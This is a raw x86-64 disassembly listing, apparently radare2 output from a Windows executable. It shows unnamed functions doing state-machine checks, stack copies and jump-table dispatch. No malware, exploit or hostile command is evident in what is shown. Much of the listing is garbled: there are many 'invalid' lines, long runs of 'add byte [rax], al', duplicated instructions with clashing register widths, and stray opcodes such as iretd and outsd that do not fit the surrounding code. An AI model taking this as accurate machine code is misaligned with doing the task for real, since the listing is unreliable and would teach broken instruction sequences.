mov qword [rsi + 0x70], 1
mov byte [rsi + 0x78], al
mov byte [rsi + 0x79], 0
mov qword [rsi + 0x80], rcx
mov qword [rsi + 0x88], 0
or byte [rsp + 0x2f], 1
jmp 0x14006abb4
xor eax, eax
mov rcx, rdx
mov qword [rsi + 0x70], 2
mov byte [rsi + 0x78], al
mov byte [rsi + 0x79], 0
mov qword [rsi + 0x80], rcx
mov qword [rsi + 0x88], 0
mov rax, qword [rsp + 0x4e0]
mov qword [rsp + 0x550], rax
movaps xmm0, xmmword [rsp + 0x4d0]
movaps xmmword [rsp + 0x540], xmm0
movaps xmm0, xmmword [rsp + 0x690]
movaps xmmword [rsp + 0x680], xmm0
movdqa xmm0, xmmword [rsp + 0x6c0]
movdqa xmm1, xmmword [rsp + 0x6d0]
movdqa xmmword [rsp + 0x3a0], xmm0
movdqa xmmword [rsp + 0x3b0], xmm1
movzx eax, word [rsp + 0x6e0]
mov word [rsp + 0x3c0], ax
mov eax, dword [rsp + 0xc0]
mov dword [rsp + 0xb8], eax
movzx eax, byte [rsp + 0xc4]
mov byte [rsp + 0xbc], al
mov byte [rsp + 0x47], r8b
mov qword [rsp + 0x500], rdx
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x4f8], r10
mov qword [rsp + 0x4f0], r11
cmp r12, 3
mov qword [rsp + 0x78], rdx
jne 0x14006a599
mov byte [rsp + 0x2e], r8b
mov r15, r11
mov rbp, r10
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0xe0], 3
mov rcx, qword [rsp + 0x30]
mov rdx, r13
call fcn.140056590
test rax, rax
jne 0x14006ca28
mov byte [rsi + 0x1e0], 1
mov qword [rsi + 0x70], 4
mov qword [rsi + 0x90], 5
mov r10, rbp
mov r11, r15
mov r15, qword [rsp + 0x30]
movzx r8d, byte [rsp + 0x2e]
mov byte [rsi + 0xd2], 2
mov qword [rsp + 0x60], r10
mov qword [rsp + 0x88], r11
mov byte [rsp + 0x2e], r8b
jmp 0x140069ad0
test rax, rax
je 0x14006ad52
cmp eax, 4
je 0x14006ae00
mov rax, qword [rsi + 0x160]
jmp 0x14006ada4
cmp byte [rsi + 0x1d0], 3
je 0x14006ad21
mov rcx, qword [rsp + 0x48]
call fcn.140056350
mov rax, qword [rsp + 0x240]
mov rcx, qword [rsp + 0x48]
mov qword [rcx + 0x20], rax
movdqa xmm0, xmmword [rsp + 0x220]
movdqa xmm1, xmmword [rsp + 0x230]
movdqu xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
jmp 0x14006ae00
cmp dword [rsi + 0x90], 2
mov rax, qword [rsi + 0x160]
jne 0x14006ada4
test rax, rax
jne 0x14006cae8
mov rcx, qword [rsp + 0x68]
mov rdx, r14
call fcn.1400a41d0
test rax, rax
jne 0x14006adc4
test rdx, rdx
jne 0x14006cb5d
cmp byte [rsi + 0xd2], 0
jne 0x14006cb6a
mov qword [rsi + 0x70], 4
mov byte [rsi + 0xd2], 2
jmp 0x14006ae00
cmp byte [rsi + 0xc8], 0
jne 0x14006ae00
test rax, rax
jne 0x14006ae00
mov rcx, qword [rsp + 0x68]
mov rdx, r14
call fcn.1400a41d0
test rax, rax
je 0x14006adcf
cmp rax, 2
je 0x14006ae00
jmp 0x14006ca70
test rdx, rdx
jne 0x14006ae00
jmp 0x14006cb1b
mov qword [rsp + 0x60], r10
mov qword [rsp + 0x88], r11
mov byte [rsp + 0x2e], r8b
mov r15, qword [rsp + 0x30]
jmp 0x14006ae00
mov qword [r13], 0
nop word [rax + rax]
cmp byte [rsi + 0x1e0], 0
jne 0x14006c230
mov r13, qword [rsi + 0x1d8]
mov rcx, qword [r13]
cmp rcx, 1
jne 0x14006afa0
cmp byte [rsi + 0x178], 0
je 0x14006b0a0
mov rax, qword [rsp + 0x50]
mov rax, qword [rax]
test cl, cl
je 0x14006b1b0
lea rbp, [r13 + 8]
cmp rax, 3
ja 0x14006b6a8
cmp rax, 2
je 0x14006b6a8
add byte [rax], al
lea rcx, [rsp + 0xe0]
mov rdx, rbp
mov r8, r14
invalid
call fcn.14006d8b0
cmp dword [rsp + 0xe0], 2
je 0x14006c230
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x6e0], rax
loopne 0x14006ae8c
add byte [rax], al
movdqu xmm0, xmmword [rsp + 0xe0]
movdqu xmm1, xmmword [rsp + 0xf0]
movdqa xmmword [rsp + 0x6d0], xmm1
movdqa xmmword [rsp + 0x6c0], xmm0
cmp dword [rsp + 0x6c0], 1
jne 0x14006b2c1
add byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0x6c8]
mov rdi, qword [rsp + 0x6d0]
test rax, rax
je 0x14006c319
lea rcx, [rsp + 0x6c8]
add byte [rax], al
movdqu xmm0, xmmword [rcx + 0x10]
lea rcx, [rsp + 0xa0]
movdqu xmmword [rcx], xmm0
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], rdi
cmp qword [rbp], 0
je 0x14006b848
or dword [rax], eax
invalid
cmp qword [r13 + 0x18], 0
cmp dword [rbp + 0x18], 0
je 0x14006b85b
mov rdi, qword [rsp + 0xa0]
test rdi, rdi
je 0x14006bac2
movups xmm0, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0x260], xmm0
sub dword [rsp + 0x260], eax
mov rax, qword [rsp + 0x50]
mov eax, dword [rsp + 0x50]
mov rax, qword [rax]
lea rcx, [rax - 2]
cmp rcx, 4
setb dl
xchg edx, eax
ret 0x8348
stc
add dword [rdi], ecx
xchg ebp, eax
rol dword [rdx + rcx*8 + 0x24a48d4c], 0xe0
add byte [rax], al
invalid
xchg edx, eax
ret 0x8348
add byte [rax], al
jne 0x14006cc4c
mov r14, qword [rsp + 0xa8]
add byte [rax + 0x79840f01], ch
or al, 0
add byte [rax - 0x75], cl
xchg byte [rax + 0x48000000], bl
mov rcx, rax
test al, 1
je 0x14006bbe6
mov rax, qword [rsi + 0x98]
mov rcx, rax
sub rcx, rdi
jae 0x14006bed1
mov qword [rsi + 0x98], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + 1], bh
mov ecx, 1
jmp 0x14006beda
add byte [rsi + 0x66], ah
nop dword cs:[rax + rax]
nop word cs:[rax + rax]
cmp qword [rsi + 0x70], 4
je 0x14006ae22
add al, 0xf
test byte [rdi - 2], dh
invalid
cmp qword [rsi + 0x90], 2
jne 0x14006ae22
test dword [rcx - 2], ebp
invalid
invalid
add byte [rax], al
add cl, byte [rdi]
test dword [rcx - 2], ebp
invalid
imul edi, esi, 0x8b4cffff
xchg byte [rax], dl
add dword [rax], eax
add byte [rbp - 0x7b], cl
ror byte [rdi], 0x84
test byte [rsi], ch
add eax, dword [rax]
dec dword [rbx + rcx*4 - 0x7a]
adc byte [rcx], al
add byte [rax], al
mov r8, qword [rsi + 0x110]
test r8, r8
je 0x14006b2f7
test byte [rsi], ch
add eax, dword [rax]
invalid
test byte [rsi], ch
add eax, dword [rax]
add byte [rax - 0x75], cl
xchg al, bh
add byte [rax], al
add byte [rax - 0x75], cl
xchg esi, eax
or byte [rcx], al
mov rax, qword [rsi + 0xf8]
mov rdx, qword [rsi + 0x108]
add byte [rax], al
add byte [rax], al
cmp rdx, rax
cmp edx, eax
mov r9, rax
mov r11d, 0
cmovb r9, r11
cmovb ecx, ebx
rol dword [rcx - 0x45], 0
add byte [rax], al
add byte [rbp + 0xf], cl
cmovb ecx, ebx
cmovb ecx, ebx
sub rdx, r9
mov r9, rax
sub r9, rdx
lea r10, [rdx + r8]
sub r8, r9
cmova r10, rax
cmovbe r8, r11
ret
mov r9, qword [rsi + 0x100]
add byte [rax], al
ret
add byte [rax], al
mov eax, 0
sub r10, rdx
sub edx, edx
sub edx, edx
jne 0x14006b5ff
test r8, r8
test eax, eax
je 0x14006b2f9
add r9, 0x48
jmp case.0x140066b58.16
jmp case.0x140066b58.16
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x75], cl
push rcx
enter 0x148, 0xffffffffffffffd0
add rax, rdx
mov rdx, qword [r9 - 0x38]
add rax, rdx
add r9, 0x50
dec r8
dec eax
dec eax
je 0x14006b2f9
add al, byte [rax]
add byte [rcx - 0x75], cl
mov rdx, qword [r9 - 0x48]
movsxd rdx, dword [rbx + rdx*4]
mov rdx, qword [r9 - 0x48]
movsxd rdx, dword [rbx + rdx*4]
add rdx, rbx
jmp rdx
invalid
loop 0x14006b09b
mov edx, dword [rcx - 0x30]
jmp case.0x140057811.70
shr bl, 1
frstor dword [rsi + 0xf]
invalid
add byte [rax], al
add byte [rax], al
movzx edx, byte [r9 - 0xd]
invalid
sub dl, byte [r9 - 0xe]
sub dl, byte [r9 - 0xe]
movzx edx, dl
add rdx, qword [r9 - 0x30]
jb 0x14006cb86
add byte [rax], al
add rdx, qword [r9]
jae case.0x140057811.70
jmp 0x14006cb86
mov rdx, qword [r9 - 0x20]
cmp r10, rdx
cmovb rdx, r10
cmovb edx, edx
cmovb edx, edx
jmp case.0x140057811.70
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax + 0x120be], al
add byte [rax], al
cmp byte [rsi + 0x120], 0
je 0x14006b1da
add byte [rbx + rcx*4 - 0x72], cl
adc byte [rcx], al
add byte [rax], al
mov r9, qword [rsi + 0x110]
cmp r9, 0xf
ja 0x14006b780
mov r8, qword [rsi + 0xe8]
sub r8, qword [rsi + 0xf0]
lock add byte [rax], al
add byte [rbp - 0x7b], cl
leave
add byte [rbx + rbp - 0x7a], cl
lock add byte [rax], al
add byte [rbp - 0x7b], cl
leave
je 0x14006b766
add byte [rax - 0x75], cl
xchg al, bh
add byte [rax], al
add byte [rax - 0x75], cl
mov rdx, qword [rsi + 0x108]
mov rax, qword [rsi + 0xf8]
mov rdx, qword [rsi + 0x108]
cmp rdx, rax
mov r10, rax
mov edi, 0
add byte [rax], al
cmovb r10, rdi
xlatb
sub rdx, r10
mov r10, rax
ror byte [rcx - 0x77], cl
ret 0x2949
invalid
invalid
sub r10, rdx
lea r11, [rdx + r9]
lea ebx, [rdx + rcx]
lea ebx, [rdx + rcx]
sub r9, r10
cmova r11, rax
fmul dword [r15 + r9 + 0x46]
iretd
mov r10, qword [rsi + 0x100]
xchg esi, eax
add byte [rcx], al
add byte [rax], al
fmul dword [r15 + r9 + 0x46]
iretd
xchg esi, eax
add byte [rcx], al
add byte [rax], al
mov eax, 0
add byte [rax], al
sub r11, rdx
jne 0x14006b9fa
ror dword [rdi], cl
test ebx, ebx
or byte [rax], al
add byte [rbp - 0x7b], cl
test ecx, ecx
test r9, r9
test ecx, ecx
je 0x14006baa6
add r10, 0x48
lea rdi, [0x1401942ac]
xchg ecx, eax
adc al, byte [rax]
jmp case.0x14005714b.70
mov rdx, qword [r10 - 0x38]
add rax, rdx
add r10, 0x50
dec r9
je 0x14006b768
mov rdx, qword [r10 - 0x48]
lea r11, [0x1401942fc]
movsxd rdx, dword [r11 + rdx*4]
invalid
adc al, 0x93
add rdx, r11
invalid
jmp rdx
invalid
invalid
mov rdx, qword [r10 - 0x30]
jmp case.0x140057c9f.74
movzx edx, byte [r10 - 0xd]
sub dl, byte [r10 - 0xe]
sub dl, byte [r10 - 0xe]
movzx edx, dl
add rdx, qword [r10 - 0x30]
jb 0x14006cb86
add byte [rax], al
add rdx, qword [r10]
jae case.0x140057c9f.74
jmp 0x14006cb86
mov r11, qword [r10 - 0x30]
mov rdx, qword [r10 - 0x20]
mov edx, dword [rdx - 0x20]
cmp r11, rdx
cmovb rdx, r11
jmp case.0x140057c9f.74
nop word cs:[rax + rax]
nop word cs:[rax + rax]
cmp rax, 3
ja 0x14006c230
cmp rax, 2
je 0x14006c230
mov rcx, rsi
mov ecx, esi
call fcn.14007d380
test rax, rax
je 0x14006ae00
invalid
invalid
jmp 0x14006c2d8
mov r8, qword [rsi + 0xe8]
sub r8, qword [rsi + 0xf0]
add byte [rax], al
add byte [rbx + rcx*4 - 0x72], cl
adc byte [rcx], al
add dword [rax], eax
invalid
add byte [rax], al
add byte [rbx + rcx*4 - 0x72], cl
adc byte [rcx], al
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rbp - 0x7b], cl
leave
test r9, r9
je 0x14006b5e1
jmp 0x18806b1fc
mov rax, qword [rsi + 0xf8]
mov rdx, qword [rsi + 0x108]
add byte [rax], al
add byte [rax], al
cmp rdx, rax
mov r10, rax
mov edi, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
cmovb r10, rdi
xlatb
sub rdx, r10
mov r10, rax
sub r10, rdx
sub edx, edx
sub edx, edx
lea r11, [rdx + r9]
sub r9, r10
cmova r11, rax
cmovbe r9, rdi
mov r10, qword [rsi + 0x100]
add byte [rcx], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
mov eax, 0
sub r11, rdx
jne 0x14006b6c2
test dword [rax + 0x4d000004], eax
test ecx, ecx
test r9, r9
lea rdi, [0x1401942dc]
je 0x14006b5e3
add byte [rcx - 0x7d], cl
add r10, 0x48
jmp 0x14006b274
ret 0xeb48
mov rdx, qword [r10 - 0x38]
add rax, rdx
add r10, 0x50
dec r9
dec ecx
dec ecx
je 0x14006b5e3
mov rdx, qword [r10 - 0x48]
movsxd rdx, dword [rdi + rdx*4]
add rdx, rdi
jmp rdx
invalid
loop 0x14006b2cb
mov rdx, qword [r10 - 0x30]
mov edx, dword [rdx - 0x30]
jmp 0x14006b264
mov r11, qword [r10 - 0x30]
mov rdx, qword [r10 - 0x20]
cmp r11, rdx
cmovb rdx, r11
jmp 0x14006b264
mov rcx, rsi
call fcn.14007d380
mov r12, rax
movzx eax, byte [rsp + 0x6c0]
test r12, r12
jne 0x14006c2ff
invalid
test al, 1
je 0x14006c055
lea rcx, [rsp + 0x6c8]
call fcn.140058010
jmp 0x14006c055
xor eax, eax
test rax, rax
jne 0x14006ae22
cmp qword [r15], 2
jne 0x14006ae22
mov rdx, qword [rsi + 0x198]
mov r8, qword [rsi + 0x1a0]
mov r9, qword [r14]
lea rdi, [rsp + 0xe0]
mov rcx, rdi
call fcn.1400ccbf0
mov rax, qword [rsp + 0x1e0]
cmp rax, 2
je 0x14006c1d0
cmp eax, 3
je 0x14006c214
mov r8d, 0x100
lea rcx, [rsp + 0x280]
mov rdx, rdi
call fcn.140121660
lea rcx, [rsp + 0x1e0]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0x210], rax
movdqu xmm0, xmmword [rcx]
movdqa xmmword [rsp + 0x200], xmm0
mov rdx, r14
call fcn.1400cc5f0
test al, al
je 0x14006c1d9
lea rcx, [rsp + 0x288]
mov rax, qword [rcx + 0xc0]
lea rdx, [rsp + 0x3f8]
mov qword [rdx + 0x10], rax
movups xmm0, xmmword [rcx + 0xb0]
movups xmmword [rdx], xmm0
lea rdx, [rsp + 0x2e0]
mov rax, qword [rdx + 0x50]
mov qword [rsp + 0x3f0], rax
movups xmm0, xmmword [rdx + 0x40]
movaps xmmword [rsp + 0x3e0], xmm0
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmm2, xmmword [rdx + 0x20]
movups xmm3, xmmword [rdx + 0x30]
movaps xmmword [rsp + 0x3d0], xmm3
movaps xmmword [rsp + 0x3c0], xmm2
movaps xmmword [rsp + 0x3b0], xmm1
movaps xmmword [rsp + 0x3a0], xmm0
movzx edi, byte [rsp + 0x358]
mov r14, qword [rsp + 0x280]
mov r15, qword [rsp + 0x288]
movups xmm0, xmmword [rcx + 0x48]
movaps xmmword [rsp + 0x450], xmm0
movups xmm0, xmmword [rcx + 8]
movups xmm1, xmmword [rcx + 0x18]
movups xmm2, xmmword [rcx + 0x28]
movups xmm3, xmmword [rcx + 0x38]
movaps xmmword [rsp + 0x440], xmm3
movaps xmmword [rsp + 0x430], xmm2
add al, 0
add byte [rdi], cl
sub dword [rsp + 0x420], ecx
movaps xmmword [rsp + 0x410], xmm0
mov r12, qword [rsp + 0x350]
movups xmm0, xmmword [rcx + 0xd8]
movups xmm1, xmmword [rcx + 0xe8]
movaps xmmword [rsp + 0x270], xmm1
add byte [rdi], cl
sub dword [rsp + 0x260], eax
movaps xmm0, xmmword [rsp + 0x400]
lea rax, [rsp + 0x460]
movups xmmword [rax + 0x60], xmm0
movaps xmm0, xmmword [rsp + 0x3f0]
movups xmmword [rax + 0x50], xmm0
movaps xmm0, xmmword [rsp + 0x3e0]
add byte [rdi], cl
adc dword [rax + 0x40], eax
movaps xmm0, xmmword [rsp + 0x3a0]
movaps xmm1, xmmword [rsp + 0x3b0]
movaps xmm2, xmmword [rsp + 0x3c0]
movaps xmm3, xmmword [rsp + 0x3d0]
add byte [rdi], cl
adc dword [rax + 0x30], ebx
add byte [rdi], cl
adc dword [rax + 0x30], ebx
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov r13, qword [rsp + 0x30]
cmp dword [r13], 2
je 0x14006b4ec
mov rcx, r13
call fcn.140056dc0
invalid
invalid
invalid
lea rcx, [rsp + 0x1e0]
mov rax, qword [rcx + 0x10]
mov qword [r13 + 0x10], rax
movups xmm0, xmmword [rcx]
movups xmmword [r13], xmm0
mov r8d, 0xc0
lea rcx, [rsp + 0x6c0]
mov word [rax + rax*8], fs
invalid
add byte [rax], al
lea rdx, [rsp + 0x410]
xchg esp, eax
and al, 0x10
add al, 0
add al, ch
invalid
invalid
or eax, dword [rax]
movdqa xmm0, xmmword [rsp + 0x260]
movdqa xmm1, xmmword [rsp + 0x270]
lea rax, [rsp + 0xa0]
movdqu xmmword [rax - 9], xmm0
movdqu xmmword [rax + 7], xmm1
cmp r14, 3
cmp esi, 3
cmp esi, 3
inc byte [rbx]
lea r13, [rsp + 0xe0]
je 0x14006c1f3
invalid
add byte [rcx - 0x7d], cl
inc byte [rdi + rcx]
test byte [rbp + 0x4c00000c], dh
mov dword [rsp + 0x580], esi
invalid
cmp r14, 4
je 0x14006c214
mov qword [rsp + 0x580], r14
add byte [rcx + rcx*4 - 0x44], cl
and al, 0x88
add eax, 0xb8410000
rol byte [rax], 0
mov qword [rsp + 0x588], r15
mov dword [rsp + 0x588], edi
mov r8d, 0xc0
lea rcx, [rsp + 0x590]
lea ecx, [rsp + 0x590]
add byte [rax - 0x73], cl
mov word [rax + rdx*4], fs
add eax, 0x8d480000
xchg esp, eax
and al, 0xc0
invalid
lea ecx, [rsp + 0x590]
lea rdx, [rsp + 0x6c0]
call fcn.140121660
mov qword [rsp + 0x650], r12
add byte [rax], al
add al, ch
invalid
add byte [rax], al
mov byte [rsp + 0x658], dil
pop rax
invalid
add byte [rax], al
lea rax, [rsp + 0xa0]
movdqu xmm0, xmmword [rax - 9]
outsd dx, dword [rsi]
div ebx
div ebx
movq mm1, qword [rax + 7]
outsd dx, dword [rsi]
div ebx
div ebx
div ebx
movq mm1, qword [rax + 7]
movdqa xmmword [rsp + 0x280], xmm0
movdqa xmmword [rsp + 0x290], xmm1
cmp qword [rsp + 0x280], 0
add byte [rax], al
invalid
add byte [rsi + 0xf], ah
jg 0x14006b545
and al, 0x90
add al, byte [rax]
add byte [rax - 0x7d], cl
mov esp, 0x28024
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
je 0x14006b7a5
test al, bl
add dword [rax], eax
add byte [rax - 0x7d], cl
mov esp, 0x29024
cmp qword [rsp + 0x290], 0
add byte [rax], al
jne 0x14006bafb
jmp 0x14006b7c0
xor eax, eax
add r8, rax
add eax, eax
cmp r8, qword [rsi + 0x118]
lea rdi, [0x1401942ac]
add byte [rax - 0x73], cl
cmp eax, 0x128cb8
jb 0x14006ae2f
jmp 0x14006b780
shl rdx, 4
lea r11, [rdx + rdx*4]
lea ebx, [rdx + rdx*4]
lea ebx, [rdx + rdx*4]
shl r10, 4
lea rax, [r10 + r10*4]
lea eax, [rdx + rdx*4]
lea eax, [rdx + rdx*4]
xchg edx, eax
movabs rdx, 0xcccccccccccccccd
mul rdx
int3
shr rdx, 6
lea r10, [r9 + r11]
add r10, 0x48
xor eax, eax
jmp case.0x140057a1f.46
ret 0x3148
mov r11, qword [r10 - 0x38]
add rax, r11
add r10, 0x50
dec rdx
dec edx
dec edx
je case.0x14005714b.78
mov r11, qword [r10 - 0x48]
movsxd r11, dword [rdi + r11*4]
add r11, rdi
jmp r11
mov r11, qword [r10 - 0x30]
jmp case.0x140066b58.13
pop rdx
shr bl, 1
fmul qword [rdi]
invalid
movzx r11d, byte [r10 - 0xd]
sub r11b, byte [r10 - 0xe]
sub r11b, byte [r10 - 0xe]
movzx r11d, r11b
add r11, qword [r10 - 0x30]
jb 0x14006cb86
invalid
add byte [rax], al
fisttp dword [rbp + 3]
pop rdx
ror byte [rdi], 1
invalid
adc eax, 0x34d0000
sbb dh, byte [rbx - 0x48]
add r11, qword [r10]
jae case.0x140066b58.13
jmp 0x14006cb86
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
mov rdi, qword [r10 - 0x30]
mov r11, qword [r10 - 0x20]
cmp rdi, r11
cmovb r11, rdi
lea rdi, [0x1401942ac]
adc al, byte [rax]
adc al, byte [rax]
jmp case.0x140066b58.13
test rcx, rcx
je 0x14006b6b5
mov rcx, rbp
call fcn.1400564c0
invalid
dec dword [rcx - 0x39]
add byte [r8], r8b
add byte [rax], al
mov qword [r13], 0
jmp 0x14006ae00
add cl, ch
idiv edi
dec dword [rax - 0x3f]
shl rdx, 4
loop 0x14006b6ca
lea rdi, [rdx + rdx*4]
shl r11, 4
jrcxz 0x14006b6d2
lea rax, [r11 + r11*4]
add al, 0x9b
movabs rdx, 0xcccccccccccccccd
mul rdx
shr rdx, 6
lea r11, [r10 + rdi]
lea ebx, [rdx + rdi]
int 0xcc
int3
lea ebx, [rdx + rdi]
add r11, 0x48
xor eax, eax
shr bl, 0x15
shr bl, 0x15
nop
mov rdi, qword [r11 - 0x38]
add rax, rdi
add r11, 0x50
add ebx, 0x50
add ebx, 0x50
dec rdx
je 0x14006b242
sti
invalid
invalid
sti
invalid
mov rdi, qword [r11 - 0x48]
lea r12, [0x1401942cc]
movsxd rdi, dword [r12 + rdi*4]
add rdi, r12
jmp rdi
mov rdi, qword [r11 - 0x30]
jmp 0x14006b6f4
ror byte [rdi], 1
invalid
mov r14, qword [r11 - 0x30]
mov rdi, qword [r11 - 0x20]
cmp r14, rdi
cmovb rdi, r14
mov r14, qword [rsp + 0x38]
jmp 0x14006b6f4
xor eax, eax
add r8, rax
cmp r8, qword [rsi + 0x118]
jb 0x14006ae2f
nop dword [rax + rax]
mov rcx, rsi
mov rdx, r14
call fcn.140057060
test rax, rax
jne 0x14006c230
mov r12, rdx
test rdx, rdx
je 0x14006ae00
jmp 0x14006c38f
mov rcx, qword [rsp + 0x288]
mov rax, qword [rsp + 0x290]
call qword [rax + 0x28]
test al, al
je 0x14006baec
mov rdi, qword [rsi + 0x1d8]
cmp qword [rdi], 0
mov r15, qword [rsp + 0x30]
mov r14, qword [rsp + 0x38]
je 0x14006b7e0
lea rcx, [rdi + 8]
call fcn.1400564c0
mov qword [rdi], 0
mov r9d, 2
mov rcx, r13
mov rdx, rsi
lea r8, [rsp + 0x580]
call fcn.140079e80
mov rax, qword [rsp + 0xe0]
loopne 0x14006b806
add byte [rax], al
cmp rax, 2
lea rdi, [0x1401942ac]
je 0x14006bebf
mov rcx, qword [rsp + 0xe8]
movzx edx, byte [rsp + 0xf0]
mov r8, rax
xor r8, 1
or r8, rcx
jne 0x14006be70
test dword [rdi], esi
invalid
add byte [rax], al
movzx eax, dl
and eax, 1
or rax, 4
jmp 0x14006be90
mov rcx, qword [r13 + 0x10]
mov rax, qword [r13 + 0x18]
call qword [rax + 0x28]
test al, al
je 0x14006af12
mov r15, qword [rsp + 0xa0]
test r15, r15
test edi, edi
je 0x14006bcb7
movups xmm0, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0x260], xmm0
mov rax, qword [rsp + 0x50]
mov rax, qword [rax]
lea rcx, [rax - 2]
cmp rcx, 4
setb dl
cmp rcx, 1
setne cl
test dl, cl
jne 0x14006ccfa
mov rdi, qword [rsp + 0xa8]
test al, 1
je 0x14006bd50
mov r14, qword [rsi + 0x98]
xor eax, eax
cmp r15, r14
cmp edi, esi
mov dh, 0x98
add byte [rax], al
add byte [rcx], dh
ror byte [rbp + 0x39], 0xf7
cmp edi, esi
cmp edi, esi
setne al
mov ecx, 0xff
cmovb eax, ecx
test al, al
je 0x14006bfc0
movzx eax, al
cmp eax, 1
jne 0x14006bfff
movdqu xmm0, xmmword [rsp + 0x90]
movdqa xmmword [rsp + 0x410], xmm0
add al, 0
add byte [rcx + rcx*4 - 0x44], cl
and al, 0x20
add al, 0
add byte [rax - 0x77], cl
mov esp, 0x42824
add byte [rcx + rcx*4 - 0x4c], cl
and al, 0x30
add al, 0
add byte [rax + 0x120be], al
mov esi, 0x120
invalid
add al, 0
add byte [rcx + rcx*4 - 0x44], cl
and al, 0x20
add al, 0
add byte [rax - 0x77], cl
mov esp, 0x42824
add byte [rcx + rcx*4 - 0x4c], cl
and al, 0x30
add al, 0
add byte [rax + 0x120be], al
mov esi, 0x120
invalid
mov esi, 0x120
add byte [rdi], cl
test byte [rbp + 7], bl
add byte [rax], al
je 0x14006c06d
mov rax, qword [rsp + 0x430]
mov qword [rsp + 0x2a0], rax
movaps xmm0, xmmword [rsp + 0x410]
xor byte [rax + rax], al
add byte [rax - 0x77], cl
test byte [rax + riz*4], ah
add al, byte [rax]
add byte [rdi], cl
sub byte [rsp + 0x410], al
mov rax, qword [rsp + 0x420]
mov qword [rsp + 0x290], rax
nop
add al, byte [rax]
add byte [rax - 0x75], cl
test byte [rax + rbp], ah
sub byte [rax + rax], al
add byte [rax - 0x77], cl
test byte [rax + rbx*4], ah
cwde
add al, byte [rax]
add byte [rdi], cl
sub dword [rsp + 0x280], eax
and byte [rax + rax], al
add byte [rax - 0x77], cl
test byte [rax + rdx*4], ah
nop
nop
add al, byte [rax]
add byte [rax - 0x75], cl
test byte [rax + rbp], ah
sub byte [rax + rax], al
sub byte [rax + rax], al
add byte [rax - 0x77], cl
test byte [rax + rbx*4], ah
cwde
cwde
add al, byte [rax]
add byte [rdi], cl
sub dword [rsp + 0x280], eax
mov rcx, qword [rsi + 0xf8]
mov rax, qword [rsi + 0x110]
add byte [rax], al
add byte [rax], al
cmp rax, rcx
lea rdi, [0x1401942ac]
mov dword [rdx], r10d
add byte [rbp + 0x1b], dh
mov dword [rdx], r10d
add byte [rbp + 0x1b], dh
mov rcx, qword [rsp + 0x508]
call fcn.140085610
pushfq
add dword [rax], eax
mov word [rax + rcx], fs
add eax, 0x99e80000
pushfq
add dword [rax], eax
mov rcx, qword [rsi + 0xf8]
mov rax, qword [rsi + 0x110]
invalid
add byte [rax - 0x75], cl
xchg esi, eax
or byte [rcx], al
add byte [rax], al
mov rdx, qword [rsi + 0x108]
add rdx, rax
cmp rdx, rcx
mov r8d, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
cmovae r8, rcx
sub rdx, r8
mov rcx, qword [rsi + 0x100]
add byte [rax], al
add byte [rax], al
lea rdx, [rdx + rdx*4]
shl rdx, 4
loop 0x14006b9b2
loop 0x14006b9b2
mov qword [rcx + rdx], 1
add dword [rax], eax
add byte [rax], al
movdqa xmm0, xmmword [rsp + 0x280]
movdqa xmm1, xmmword [rsp + 0x290]
nop
add al, byte [rax]
add bl, dh
movq qword [rcx + rdx + 8], mm0
nop
add al, byte [rax]
add bl, dh
movq qword [rcx + rdx + 8], mm0
movdqu xmmword [rcx + rdx + 0x18], xmm1
mov r8, qword [rsp + 0x2a0]
mov qword [rcx + rdx + 0x28], r8
inc rax
mov qword [rsi + 0x110], rax
mov r15, qword [rsp + 0x30]
mov edi, dword [rsp + 0x30]
mov edi, dword [rsp + 0x30]
mov r14, qword [rsp + 0x38]
jmp 0x14006c1c2
cmp cl, ch
enter 7, 0
shl rdx, 4
lea rdi, [rdx + rdx*4]
shl r11, 4
jrcxz 0x14006ba0a
jrcxz 0x14006ba0a
lea rax, [r11 + r11*4]
movabs rdx, 0xcccccccccccccccd
mul rdx
shr rdx, 6
shr edx, 6
int 0xcc
int3
shr edx, 6
lea r11, [r10 + rdi]
add r11, 0x48
add ebx, 0x48
add ebx, 0x48
xor eax, eax
jmp 0x14006ba44
shr bl, 0x1d
nop word [rax + rax]
mov rdi, qword [r11 - 0x38]
add rax, rdi
add r11, 0x50
dec rdx
dec edx
dec edx
je 0x14006b11f
mov rdi, qword [r11 - 0x48]
lea r12, [0x1401942ec]
movsxd rdi, dword [r12 + rdi*4]
invalid
cmp al, 0xbc
add rdi, r12
jmp rdi
invalid
mov rdi, qword [r11 - 0x30]
jmp 0x14006ba34
movzx edi, byte [r11 - 0xd]
sub dil, byte [r11 - 0xe]
movzx edi, dil
add rdi, qword [r11 - 0x30]
jb 0x14006cb86
add rdi, qword [r11]
jae 0x14006ba34
jmp 0x14006cb86
mov r14, qword [r11 - 0x30]
mov rdi, qword [r11 - 0x20]
cmp r14, rdi
cmovb rdi, r14
mov r14, qword [rsp + 0x38]
jmp 0x14006ba34
lea rdi, [0x1401942ac]
add r8, rax
cmp r8, qword [rsi + 0x118]
jb 0x14006ae2f
jmp 0x14006b780
mov rax, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x98]
lea rcx, [rsp + 0xa8]
xor r8d, r8d
call qword [rax + 0x10]
lea rdi, [0x1401942ac]
jmp 0x14006ae00
cmp qword [rsp + 0x280], 0
je 0x14006bf8d
mov r14d, 1
mov rdi, qword [rsp + 0x290]
mov rax, rdi
